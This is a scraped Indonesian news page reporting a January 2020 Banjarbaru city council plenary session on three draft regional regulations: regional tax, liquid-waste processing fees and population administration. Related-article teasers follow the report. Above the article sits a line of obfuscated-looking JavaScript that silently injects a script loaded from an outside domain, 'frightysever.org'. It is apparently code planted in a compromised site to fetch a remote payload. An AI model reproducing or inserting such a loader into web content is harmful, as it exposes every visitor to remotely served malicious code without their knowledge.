(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rapat paripurna pandangan umum fraksi-fraksi terhadap penyampaian 3 Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru sekaligus jawaban Walikota terhadap pandangan umum fraksi, digelar DPRD Banjarbaru, Selasa (14/1/2020) siang.
Dipimpin langsung Ketua DPRD Banjarbaru Fadliansyah dan Wakil Ketua Nafsiani Samandi, rapat kali ini dihadiri Walikota Banjarbaru Nadjmi Adhani dan Wakil Walikota Darmawan Jaya Setiawan, seluruh pimpinan kepala SKPD, serta para anggota DPRD Banjarbaru.
Awalnya, Ketua DPRD Banjarbaru mempersilahkan seluruh fraksi untuk menyampaikan tanggapan terhadap 3 Raperda yang diajukan Walikota Banjarbaru. Adapun ketiga Raperda yang dibahas yakni, Raperda tentang pajak daerah, Raperda tentang retribusi pengolahan limbah cair, dan Raperda tentang perubahan atas Perda nomor 4 tahun 2017 tentang penyelenggaraan administrasi kependudukan.
Ada beberapa pandangan dari beberapa fraksi yang ditanggapi oleh Walikota Banjarbaru. Seperti halnya dari Fraksi Gerindra, yang mana dirinya menegaskan bahwa Pemko Banjarbaru selalu memperhatikan prinsip-prinsip pokok pajak dalam melakukan pemungutan pajak daerah agar sesuai dengan prinsip keadilan (equality), prinsip kepastian (certainty), prinsip kemudahan (convenience) dan prinsip efesiensi (efficiency).
“Begitu juga dengan pelayanan pengolahan limbah cair yang akan mengedepankan tata kelola sesuai dengan standar agar dapat meningkatkan upaya pelestarian lingkungan. Serta perubahan peraturan daerah nomor 4 tahun 2017 tentang administrasi kependudukan ini diharapkan dapat memberikan pelayanan yang efektif dan efesien dengan tetap menjamin keakuratan data,†katanya.
Nadjmi juga menyoroti pandangan Fraksi Nasdem mengenai pengabungan seluruh Peraturan Daerah (Perda) retribusi seperti Raperda pajak. Menurutnya, saat ini penggabungan Perda tersebut memang hanya dilakukan terhadap pajak saja. Akan tetapi, juga tidak menutup kemungkinan retribusi juga akan digabungkan.
“Untuk melakukan kodifikasi retribusi, tentu bukan suatu hal yang mudah kareana banyaknya obyek retribusi. Sehingga untuk melakukan pengabungan cukup lama maka agar terdapat dasar hukum terhadap dasar hukum terhadap pemungutan retribusi pengolahan limbah cair yang dilakukan oleh Pemerintah Kota maka dibuatlah Raperda tersendiri,†tuturnya.
Ketua DPRD kota Banjarbaru Fadliansyah menyampaikan, di awal tahun 2020 DPRD Kota Banjarbaru sudah mengantongi 11 Raperda, diantaranya 2 Raperda inisiatif DPRD dan 9 Raperda usulan Pemerintah Kota Banjarbaru yang akan dibahas dengan cepat dan konkrit.
Untuk lebih awal ada 3 Raperda yang siap dibahas, diantaranya Raperda tentang perpajakan daerah, limbah cair dan administrasi kependudukan.
“Untuk 3 Raperda ini yang sudah ditanggapi dan diterima oleh semua fraksi, kita langsung bentuk Pansus,†tandasnya. (kanalkalimantan.com/rico/adv)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.